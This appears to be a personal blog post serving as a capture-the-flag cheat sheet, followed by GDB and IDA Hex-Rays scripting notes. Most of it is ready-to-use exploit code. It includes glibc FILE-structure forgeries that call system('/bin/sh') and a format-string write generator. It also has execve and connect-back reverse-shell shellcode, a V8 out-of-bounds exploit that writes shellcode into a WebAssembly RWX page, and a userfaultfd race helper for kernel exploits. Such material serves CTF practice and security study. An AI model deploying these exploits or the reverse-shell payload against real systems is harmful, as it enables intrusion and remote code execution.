---
layout: post
title: "CTF Cheat Sheet"
date: 2333-01-01 00:00:00 +0000
categories: jekyll update
---
## IO FILE
### House of Orange
```python
fake_file = p64(0)
fake_file += p64(0x61)
fake_file += p64(libc_addr + UNSORT_OFF)
fake_file += p64(libc_addr + e.symbols["_IO_list_all"] - 0x10)
fake_file += p64(2) + p64(3)
fake_file += "\x00" * 8
fake_file += p64(libc_addr + next(e.search('/bin/sh\x00'))) #/bin/sh addr
fake_file += (0xc0-0x40) * "\x00"
fake_file += p32(0) #mode
fake_file += (0xd8-0xc4) * "\x00"
fake_file += p64(libc_addr + IO_STR_FINISH - 0x18) #vtable_addr
fake_file += (0xe8-0xe0) * "\x00"
fake_file += p64(libc_addr + e.symbols["system"])
```
### fclose
```python
#32 bits
fake_file = "/bin/sh\x00" + "\x00" * 0x40 + p32(fake_lock_addr)
fake_file = fake_file.ljust(0x94, "\x00")
fake_file += p32(fake_vtable_addr - 0x44)
#64 bits
fake_file = "/bin/sh\x00" + '\x00' * 0x8
fake_file += p64(system) + '\x00' * 0x70
# the system can also be placed in other memory
fake_file += p64(fake_lock_addr)
fake_file = fake_file.ljust(0xd8, '\x00')
fake_file += p64(buf_addr + 0x10 - 0x88) # fake_vtable_addr
```
## Format String
```python
def hn(pos, val):
assert val < 0x10000
if val == 0:
return "%" + str(pos) + "$hn"
else:
return "%" + str(val) + "c%" + str(pos) + "$hn"
def cont_shoot(poses, vals, prev_size = 0):
assert len(poses) == len(vals)
size = len(poses)
ret = ""
i = 0
cur_size = prev_size
next_overflow = ((prev_size + 0xffff) / 0x10000) * 0x10000
while i < size:
assert next_overflow >= cur_size
num = next_overflow - cur_size + vals[i]
if num < 0x10000:
ret += hn(poses[i], num)
next_overflow += 0x10000
else:
num = vals[i] - (cur_size - (next_overflow - 0x10000))
assert num >= 0
ret += hn(poses[i], num)
cur_size += num
i += 1
return ret
```
## Return to dl-resolve
## Shellcode
```python
asm(pwnlib.shellcraft.amd64.linux.sh())
"push 0x68732f6e69622f\nmov rdi,rsp\nxor rsi,rsi\nxor rdx,rdx\npush SYS_execve\npop rax\nsyscall"
pwnlib.shellcraft.amd64.fork() + "test rax,rax \n jz child \n self: jmp self \n child: \n" + pwnlib.shellcraft.amd64.connect(url, port) + pwnlib.shellcraft.amd64.dupsh()
```
## JavaScript
### Header
```javascript
function dp(x){ %DebugPrint(x);}
const print = console.log;
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
const hex = (x) => ("0x" + x.toString(16));
function getWMain()
{
const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
return wasmInstance.exports.main;
}
wmain = getWMain();
```
### ArrayBuffer and Signature Object
```javascript
gOobArr = [2019.2019];
gAb = new ArrayBuffer(0x321);
gSig = {a:0xdead,b:0xbeef,c:wmain};
```
```javascript
assert(gOobArr.length === 0x1337,
"failed to corrupt array size");
// now gOobArr have OOB access
// next, we find ArrayBuffer and sig
var backingPos, wmainAddr;
for (let i = 0; i < gOobArr.length-2; i++)
{
if (d2u(gOobArr[i]) === 0x321)
{// find ArrayBuffer
backingPos = i + 1;
}
else if (d2u(gOobArr[i]) === 0xdead00000000 &&
d2u(gOobArr[i+1]) === 0xbeef00000000)
{// find sig object, and extract wmain address
wmainAddr = d2u(gOobArr[i+2]) - 1;
}
if (backingPos !== undefined && wmainAddr !== undefined)
break; // otherwise GC is triggered
}
assert(backingPos !== undefined, "failed to find ArrayBuffer");
assert(wmainAddr !== undefined, "failed to find sig array");
print("[*] index of backing field = " + hex(backingPos));
print("[*] address of wmain function = " + hex(wmainAddr));
const dataView = new DataView(gAb);
gOobArr[backingPos] = u2d(wmainAddr-0x300);
for (var i = 0; i < 0x300; i+=8)
{
rwxAddr = d2u(dataView.getFloat64(i, true));
if ((rwxAddr / 0x1000) % 0x10 !== 0 &&
rwxAddr % 0x1000 === 0 &&
rwxAddr < 0x7fffffffffffff)
break;
}
assert(i !== 0x300, "failed to find RWX page!");
print("[*] RWX page = " + hex(rwxAddr));
gOobArr[backingPos] = u2d(rwxAddr);
// set backing field to rwx page
var shellcode = [
0x99583b6a, 0x2fbb4852,
0x6e69622f, 0x5368732f,
0x57525f54, 0x050f5e54
];
for (var i = 0; i < shellcode.length; i++)
{
dataView.setUint32(i * 4, shellcode[i], true);
}
// write shellcode to rwx page
wmain();
// execute the shellcode
readline();
throw Error("failed to get shell");
```
## Linux Kernel
### Setup Scripts
`make.sh`
```bash
musl-gcc exp.c -static -o fs/exp # compile exploit
cd fs && ./gen.sh ../rootfs.cpio 2> /dev/null # generate new cpio with exp
cd .. && ./run.sh # run the kernel
```
`gen.sh`
```bash
find . -print0 \
| cpio --null -ov --format=newc > $1
```
### Frequently Used Header
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
void errExit(char* msg)
{
puts(msg);
exit(-1);
}
```
### User Fault FD
```c
#include "userfaultfd.h"
size_t cand_idx;
char buffer[0x1000];
typedef struct _fault_arg
{
int fd;
void* fault_page;
}fault_arg;
void* handler(void *arg_)
{
fault_arg* arg = (fault_arg*)arg_;
int uffd = arg->fd;
void* fault_page = arg->fault_page;
free(arg);
// fetch arguments
puts("[*] handler created");
struct uffd_msg msg;
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd,1,-1);
if (nready != 1)
errExit("wrong poll return value");
// this will wait until copy_from_user is called on FAULT_PAGE
printf("trigger! I'm going to hang\n");
// now main thread stops at copy_from_user function
// but now we can do some evil operations!
// PUT YOUR CALLBACK HERE
// USE GLOBAL VARIABLE TO PASS ARGUMENT IF WE NEED ARGUMENT HERE
// e.g. USE `cand_idx` HERE
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg))
errExit("error in reading uffd_msg");
// read a msg struct from uffd, although not used
struct uffdio_copy uc;
memset(buffer, 0, sizeof(buffer));
uc.src = (uintptr_t)buffer;
uc.dst = (uintptr_t)fault_page;
uc.len = 0x1000;
uc.mode = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
// resume copy_from_user with buffer as data
puts("[*] done 1");
// now note1 has length 0xf0
return NULL;
}
void* register_userfault()
{
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
int64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0)
errExit("syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK)");
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) < 0)
errExit("ioctl-UFFDIO_API");
// create the user fault fd
void* fault_page = mmap(0,0x1000,7,0x22,-1,0);
if (fault_page == MAP_FAILED)
errExit("mmap fault page");
// create page used for user fault
ur.range.start = (unsigned long)fault_page;
ur.range.len = 0x1000;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit("ioctl-UFFDIO_REGISTER");
// register the page into user fault fd
// so that if copy_from_user accesses fault_page,
// the access will be hanged, and uffd will receive something
fault_arg* arg = malloc(sizeof(fault_arg));
arg->fd = uffd;
arg->fault_page = fault_page;
int s = pthread_create(&thr,NULL,handler,(void*)arg);
if(s!=0)
errExit("pthread_create");
// create handler that process the user fault
return fault_page;
}
```
See [userfaultfd.h](https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/userfaultfd.h)
## Dynamic Analysis
### GDB Python
```python
import gdb
import struct
u64 = lambda x : struct.unpack("<Q", x)[0]
p64 = lambda x : struct.pack("<Q", x)
u32 = lambda x : struct.unpack("<I", x)[0]
p32 = lambda x : struct.pack("<I", x)
u16 = lambda x : struct.unpack("<H", x)[0]
p16 = lambda x : struct.pack("<H", x)
cont = lambda : gdb.execute("c")
run = lambda : gdb.execute("r")
def set_bp(addr, temporary=True):
gdb.execute(("tb" if temporary else "b") + " *%s" % hex(addr))
set_reg = lambda reg, value : gdb.execute("set $%s=%lu" % (reg, value))
get_reg = lambda reg : gdb.parse_and_eval("$" + reg)
read_mem = lambda addr, size : gdb.selected_inferior().read_memory(addr, size)
write_mem = lambda addr, data : gdb.selected_inferior().write_memory(addr, data)
def read_val(addr, size, endian="little"):
return int.from_bytes(read_mem(addr, size), endian)
def pop_stack(stack_reg="rsp", size=8, endian="little"):
stack = get_reg(stack_reg)
ret = read_val(stack, size, endian)
set_reg(stack_reg, stack + size)
return ret
```
## Static Analysis
### IDA and Hex Rays
#### Ctree
##### `ctree_visitor_t`
```python
# Given instruction address `ins_ea`, we can get the function containing it.
func = idaapi.decompile(idc.get_func_attr(ins_ea, idc.FUNCATTR_START))
# Get function body, with type cinsn_t.
func.body
# ctree visitor
class my_ctree_visitor(ida_hexrays.ctree_visitor_t):
def __init__(self):
super().__init__(ida_hexrays.CV_FAST)
# `i` is cinsn_t, `e` is `cexpr_t`, these method return 1 for error.
def visit_insn(self, i):
return 0
def visit_expr(self, e):
return 0
# Use the visitor to visit a decompiled function.
my_ctree_visitor().apply_to(func.body, None)
```
##### `cexpr_t`
```python
# Given `expr` to be type `cexpr_t`.
expr
# Get the instruction address corresponding to `expr`.
expr.ea
# Get the opcode of the expression, which can be one of `ida_hexrays.cot_*`.
expr.op
expr.opname # opcode in string
# Get all operands of the expression.
# This allows us to inspect the available operands, with all keys mapped to fields.
# e.g., expr.operands['x'] == expr.x
expr.operands
```
See [this](https://hex-rays.com/products/ida/support/idapython_docs/ida_hexrays.html#ida_hexrays.cot_add) for more details about the opcode of `cexpr_t`.
**Examples.**
`cot_obj`: global variable reference, `expr.obj_ea` is the address of the global.
`cot_num`: C number constant, `expr.n` is `cnumber_t`, get the value by `expr.n.value(idaapi.tinfo_t(ida_typeinf.BT_INT64))`.
`cot_call`: function call, `expr.x` is callee of `cexpr_t`, `expr.a` is arguments of `carglist_t`, get number of arguments `expr.a.size()`, get an argument `expr.a.at(idx)` of `cexpr_t`.
`cot_cast`: cast expression, `expr.x` is the expression of `cexpr_t` being casted.
In general, `x`, `y` and `z` are 1st, 2nd, 3rd operand respectively, which is also a `cexpr_t`. Such nested structure is very common in `cexpr_t`.
#### Microcode
##### `mba_t` and `minsn_visitor_t`
```python
import ida_funcs
import ida_hexrays
def get_func_mba(func_addr, maturity):
func = ida_funcs.get_func(func_addr) # Convert address to func_t.
mbr = ida_hexrays.mba_ranges_t(func) # Get mba_ranges_t from function.
hf = ida_hexrays.hexrays_failure_t() # Error message holder.
ida_hexrays.mark_cfunc_dirty(func.start_ea) # Delete the decompilation cache.
mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)
if not mba:
print("Cannot get microcode: 0x%08X (%s)" % (hf.errea, hf.desc()))
return None
return mba # mba_t
# Get the microcode for the given function address, with specified maturity level.
mba = get_func_mba(0x40114514, ida_hexrays.MMAT_LVARS)
class my_minsn_visitor(ida_hexrays.minsn_visitor_t):
def __init__(self):
super().__init__()
def visit_minsn(self):
self.curins # Access the visited minsn_t.
return 0 # Return non-zero for error.
# Visit all microcode instructions.
mba.for_all_insns(my_minsn_visitor())
```
##### `minsn_t` and `mop_t`
```python
# Given `insn` of type `minsn_t`.
insn
# Get the instruction address.
insn.ea
# Get the opcode, defined in ida_hexrays.m_*
insn.opcode
# Get the left, right and destination operand, of type mop_t.
insn.l, insn.r, insn.d
```
```python
# Given `op` of type `mop_t`.
op
# Get the type of the operand, defined in ida_hexrays.mop_*
op.t
```
For each type, information can be obtained from other fields. For example, if `op.t` is `mop_f`, we can access `op.f`.
```c
union
{
mreg_t r; // mop_r register number
mnumber_t *nnn; // mop_n immediate value
minsn_t *d; // mop_d result (destination) of another instruction
stkvar_ref_t *s; // mop_S stack variable
ea_t g; // mop_v global variable (its linear address)
int b; // mop_b block number (used in jmp,call instructions)
mcallinfo_t *f; // mop_f function call information
lvar_ref_t *l; // mop_l local variable
mop_addr_t *a; // mop_a variable whose address is taken
char *helper; // mop_h helper function name
char *cstr; // mop_str utf8 string constant, user representation
mcases_t *c; // mop_c cases
fnumber_t *fpc; // mop_fn floating point constant
mop_pair_t *pair; // mop_p operand pair
scif_t *scif; // mop_sc scattered operand info
};
```
**Examples.**
`m_call`: `insn.l` is the callee, which is `mop_v` so callee address is `insn.l.g`; `insn.d` is the argument list `mop_f`, so arguments are `insn.d.f.args` of `mcallargs_t`, which work like a C++ vector (`insn.d.f.args.size()` and `insn.d.f.args.at(idx)` can be used to get argument of type `mcallarg_t`, which is inherited from `mop_t`).
`mop_n`: immediate value, can be obtained by `op.nnn.value`.
`mop_a`: `&something`, `op.a` is `mop_addr_t`, inherited from `mop_t`, which we can use to get information of operand `something`.